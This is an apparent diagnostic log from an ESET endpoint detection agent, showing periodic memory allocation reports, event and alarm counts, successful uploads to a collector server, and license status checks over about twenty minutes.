2026-03-04 22:46:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30742 KB; ProcessInfo: 2373 KB; ModuleMetadata: 2037 KB; rules::AncestorEvaluations: 551 KB; BaseEvent: 537 KB; TcpIpConnectionsManager: 535 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 512 KB; ModuleInfoCache: 325 KB; CacheEntry: 300 KB; cloudutils::CloudData: 141 KB; BatchSerializer::EventsQueueTag: 140 KB; rules::ProcessConditionsCache: 65 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 38308 KB;
2026-03-04 22:47:49 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 22:43:50, To:, 2026-03-04 22:47:49, Duration (s):, 239, Events Per Second:, 17.263, Events:, 4134, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3404, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 24, Livegrid:, 24, OriginUrl:, 0, Alarms:, 681, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 459577
2026-03-04 22:47:52 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 2s525ms.
2026-03-04 22:47:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30742 KB; ModuleMetadata: 2037 KB; ProcessInfo: 1429 KB; rules::AncestorEvaluations: 552 KB; TcpIpConnectionsManager: 524 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 501 KB; ModuleInfoCache: 325 KB; CacheEntry: 300 KB; cloudutils::CloudData: 141 KB; rules::ProcessConditionsCache: 127 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 14 KB; BaseEvent: 14 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; BatchSerializer::EventsQueueTag: 3 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 36747 KB;
2026-03-04 22:48:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 22:48:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 198, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 22:48:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 22:48:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 22:48:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30742 KB; ModuleMetadata: 2037 KB; ProcessInfo: 1790 KB; rules::AncestorEvaluations: 552 KB; TcpIpConnectionsManager: 527 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 501 KB; ModuleInfoCache: 325 KB; CacheEntry: 300 KB; BaseEvent: 190 KB; cloudutils::CloudData: 141 KB; rules::ProcessConditionsCache: 111 KB; BatchSerializer::EventsQueueTag: 49 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 14 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 37322 KB;
2026-03-04 22:49:06 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 22:49:06 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23519
2026-03-04 22:49:06 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 22:49:06 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 22:49:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30742 KB; ProcessInfo: 2159 KB; ModuleMetadata: 2037 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 540 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 501 KB; BaseEvent: 372 KB; ModuleInfoCache: 325 KB; CacheEntry: 300 KB; cloudutils::CloudData: 141 KB; rules::ProcessConditionsCache: 120 KB; BatchSerializer::EventsQueueTag: 97 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 14 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 37939 KB;
2026-03-04 22:50:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30742 KB; ProcessInfo: 2545 KB; ModuleMetadata: 2037 KB; BaseEvent: 554 KB; TcpIpConnectionsManager: 552 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 503 KB; ModuleInfoCache: 325 KB; CacheEntry: 300 KB; rules::ProcessConditionsCache: 170 KB; BatchSerializer::EventsQueueTag: 146 KB; cloudutils::CloudData: 141 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 15 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 38621 KB;
2026-03-04 22:51:53 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 22:47:49, To:, 2026-03-04 22:51:53, Duration (s):, 244, Events Per Second:, 16.907, Events:, 4134, File:, 1, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3431, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 701, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 459588
2026-03-04 22:51:55 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s326ms.
2026-03-04 22:51:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30742 KB; ModuleMetadata: 2037 KB; ProcessInfo: 1380 KB; TcpIpConnectionsManager: 588 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 526 KB; ModuleInfoCache: 325 KB; CacheEntry: 300 KB; rules::ProcessConditionsCache: 204 KB; cloudutils::CloudData: 141 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 11 KB; ProcessInfoCommandLineTag: 10 KB; ExtendedTcpIpConnectionInfo: 3 KB; BaseEvent: 0 KB; BatchSerializer::EventsQueueTag: 0 KB; BatchStringTag: 0 KB; Total: 36847 KB;
2026-03-04 22:52:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30742 KB; ModuleMetadata: 2037 KB; ProcessInfo: 1741 KB; TcpIpConnectionsManager: 586 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 508 KB; ModuleInfoCache: 325 KB; CacheEntry: 300 KB; BaseEvent: 184 KB; rules::ProcessConditionsCache: 184 KB; cloudutils::CloudData: 141 KB; BatchSerializer::EventsQueueTag: 47 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 37398 KB;
2026-03-04 22:53:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 22:53:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 198, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 22:53:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 22:53:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 22:53:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30742 KB; ProcessInfo: 2176 KB; ModuleMetadata: 2037 KB; TcpIpConnectionsManager: 652 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 512 KB; BaseEvent: 375 KB; rules::ProcessConditionsCache: 345 KB; ModuleInfoCache: 325 KB; CacheEntry: 300 KB; cloudutils::CloudData: 141 KB; BatchSerializer::EventsQueueTag: 100 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 25 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 38323 KB;
2026-03-04 22:54:07 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 22:54:07 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23519
2026-03-04 22:54:07 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 22:54:07 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 22:54:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30742 KB; ProcessInfo: 2538 KB; ModuleMetadata: 2037 KB; TcpIpConnectionsManager: 622 KB; BaseEvent: 555 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 508 KB; ModuleInfoCache: 325 KB; CacheEntry: 300 KB; rules::ProcessConditionsCache: 283 KB; BatchSerializer::EventsQueueTag: 149 KB; cloudutils::CloudData: 141 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 11 KB; ProcessInfoCommandLineTag: 10 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 38803 KB;
2026-03-04 22:55:49 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 22:51:52, To:, 2026-03-04 22:55:49, Duration (s):, 237, Events Per Second:, 17.250, Events:, 4096, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3415, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 680, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 455598
2026-03-04 22:55:50 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s331ms.
2026-03-04 22:55:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30742 KB; ModuleMetadata: 2037 KB; ProcessInfo: 1414 KB; TcpIpConnectionsManager: 617 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 510 KB; ModuleInfoCache: 325 KB; CacheEntry: 300 KB; rules::ProcessConditionsCache: 276 KB; cloudutils::CloudData: 141 KB; rules::CachedConditionEvaluationCtx: 22 KB; BaseEvent: 11 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; BatchSerializer::EventsQueueTag: 3 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 36976 KB;
2026-03-04 22:56:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30742 KB; ModuleMetadata: 2037 KB; ProcessInfo: 1772 KB; TcpIpConnectionsManager: 588 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 513 KB; ModuleInfoCache: 325 KB; CacheEntry: 300 KB; rules::ProcessConditionsCache: 253 KB; BaseEvent: 190 KB; cloudutils::CloudData: 141 KB; BatchSerializer::EventsQueueTag: 49 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 37510 KB;
2026-03-04 22:57:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30742 KB; ProcessInfo: 2134 KB; ModuleMetadata: 2037 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 547 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 499 KB; BaseEvent: 368 KB; ModuleInfoCache: 325 KB; CacheEntry: 300 KB; rules::ProcessConditionsCache: 238 KB; cloudutils::CloudData: 141 KB; BatchSerializer::EventsQueueTag: 96 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 38026 KB;
2026-03-04 22:58:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 22:58:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 198, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 22:58:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 22:58:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 22:58:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30742 KB; ProcessInfo: 2510 KB; ModuleMetadata: 2037 KB; rules::AncestorEvaluations: 551 KB; BaseEvent: 544 KB; TcpIpConnectionsManager: 540 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 498 KB; ModuleInfoCache: 325 KB; CacheEntry: 300 KB; rules::ProcessConditionsCache: 257 KB; BatchSerializer::EventsQueueTag: 144 KB; cloudutils::CloudData: 141 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 38638 KB;
2026-03-04 22:59:07 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 22:59:07 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23519
2026-03-04 22:59:07 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 22:59:07 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 22:59:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30742 KB; ProcessInfo: 2869 KB; ModuleMetadata: 2037 KB; BaseEvent: 722 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 541 KB; TcpIpConnectionsManager: 539 KB; ModuleInfoCache: 325 KB; CacheEntry: 300 KB; rules::ProcessConditionsCache: 218 KB; BatchSerializer::EventsQueueTag: 191 KB; cloudutils::CloudData: 141 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 39224 KB;
2026-03-04 23:00:01 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 22:55:49, To:, 2026-03-04 23:00:01, Duration (s):, 252, Events Per Second:, 16.273, Events:, 4114, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3399, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 714, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 456579
2026-03-04 23:00:03 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s372ms.
2026-03-04 23:00:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30742 KB; ModuleMetadata: 2037 KB; ProcessInfo: 1633 KB; TcpIpConnectionsManager: 558 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 541 KB; ModuleInfoCache: 325 KB; CacheEntry: 300 KB; rules::ProcessConditionsCache: 229 KB; BaseEvent: 163 KB; cloudutils::CloudData: 141 KB; BatchSerializer::EventsQueueTag: 43 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 12 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 37315 KB;
2026-03-04 23:01:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30742 KB; ModuleMetadata: 2037 KB; ProcessInfo: 1994 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 543 KB; TcpIpConnectionsManager: 539 KB; BaseEvent: 342 KB; ModuleInfoCache: 325 KB; CacheEntry: 300 KB; rules::ProcessConditionsCache: 213 KB; cloudutils::CloudData: 141 KB; BatchSerializer::EventsQueueTag: 90 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 37866 KB;
2026-03-04 23:02:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30742 KB; ProcessInfo: 2399 KB; ModuleMetadata: 2037 KB; TcpIpConnectionsManager: 583 KB; rules::AncestorEvaluations: 551 KB; BaseEvent: 529 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 507 KB; rules::ProcessConditionsCache: 346 KB; ModuleInfoCache: 325 KB; CacheEntry: 300 KB; cloudutils::CloudData: 141 KB; BatchSerializer::EventsQueueTag: 141 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 12 KB; ProcessInfoCommandLineTag: 11 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 38655 KB;
2026-03-04 23:03:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 23:03:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 198, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 23:03:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 23:03:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 23:03:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30742 KB; ProcessInfo: 2773 KB; ModuleMetadata: 2037 KB; BaseEvent: 709 KB; TcpIpConnectionsManager: 590 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 507 KB; ModuleInfoCache: 325 KB; rules::ProcessConditionsCache: 325 KB; CacheEntry: 300 KB; BatchSerializer::EventsQueueTag: 190 KB; cloudutils::CloudData: 141 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 39242 KB;
2026-03-04 23:04:01 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 23:00:01, To:, 2026-03-04 23:04:01, Duration (s):, 240, Events Per Second:, 17.234, Events:, 4139, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3447, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 691, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 461569
2026-03-04 23:04:02 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s377ms.
2026-03-04 23:04:07 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 23:04:07 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23519
2026-03-04 23:04:07 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 23:04:07 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 23:04:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30742 KB; ModuleMetadata: 2037 KB; ProcessInfo: 1694 KB; TcpIpConnectionsManager: 599 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 509 KB; ModuleInfoCache: 325 KB; rules::ProcessConditionsCache: 320 KB; CacheEntry: 300 KB; BaseEvent: 161 KB; cloudutils::CloudData: 141 KB; BatchSerializer::EventsQueueTag: 42 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 37472 KB;
2026-03-04 23:05:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30742 KB; ProcessInfo: 2063 KB; ModuleMetadata: 2037 KB; TcpIpConnectionsManager: 578 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 509 KB; BaseEvent: 342 KB; ModuleInfoCache: 325 KB; CacheEntry: 300 KB; rules::ProcessConditionsCache: 296 KB; cloudutils::CloudData: 141 KB; BatchSerializer::EventsQueueTag: 90 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ProcessInfoCommandLineTag: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 38024 KB;
2026-03-04 23:06:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30742 KB; ProcessInfo: 2421 KB; ModuleMetadata: 2037 KB; rules::AncestorEvaluations: 552 KB; TcpIpConnectionsManager: 539 KB; BaseEvent: 518 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 513 KB; ModuleInfoCache: 325 KB; CacheEntry: 300 KB; rules::ProcessConditionsCache: 269 KB; cloudutils::CloudData: 141 KB; BatchSerializer::EventsQueueTag: 137 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 38543 KB;
2026-03-04 23:07:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30742 KB; ProcessInfo: 2795 KB; ModuleMetadata: 2037 KB; BaseEvent: 701 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 544 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 499 KB; ModuleInfoCache: 325 KB; CacheEntry: 300 KB; rules::ProcessConditionsCache: 271 KB; BatchSerializer::EventsQueueTag: 184 KB; cloudutils::CloudData: 141 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ProcessInfoCommandLineTag: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 39139 KB;
2026-03-04 23:08:09 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 23:04:00, To:, 2026-03-04 23:08:09, Duration (s):, 249, Events Per Second:, 16.445, Events:, 4099, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3386, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 712, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 455619
2026-03-04 23:08:10 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s374ms.
2026-03-04 23:08:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 23:08:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 198, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 23:08:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 23:08:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 23:08:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30742 KB; ModuleMetadata: 2039 KB; ProcessInfo: 1617 KB; TcpIpConnectionsManager: 557 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 499 KB; ModuleInfoCache: 325 KB; CacheEntry: 300 KB; rules::ProcessConditionsCache: 288 KB; BaseEvent: 145 KB; cloudutils::CloudData: 141 KB; BatchSerializer::EventsQueueTag: 38 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 13 KB; ProcessInfoCommandLineTag: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 37293 KB;
2026-03-04 23:09:08 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 23:09:08 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23519
2026-03-04 23:09:08 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 23:09:08 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
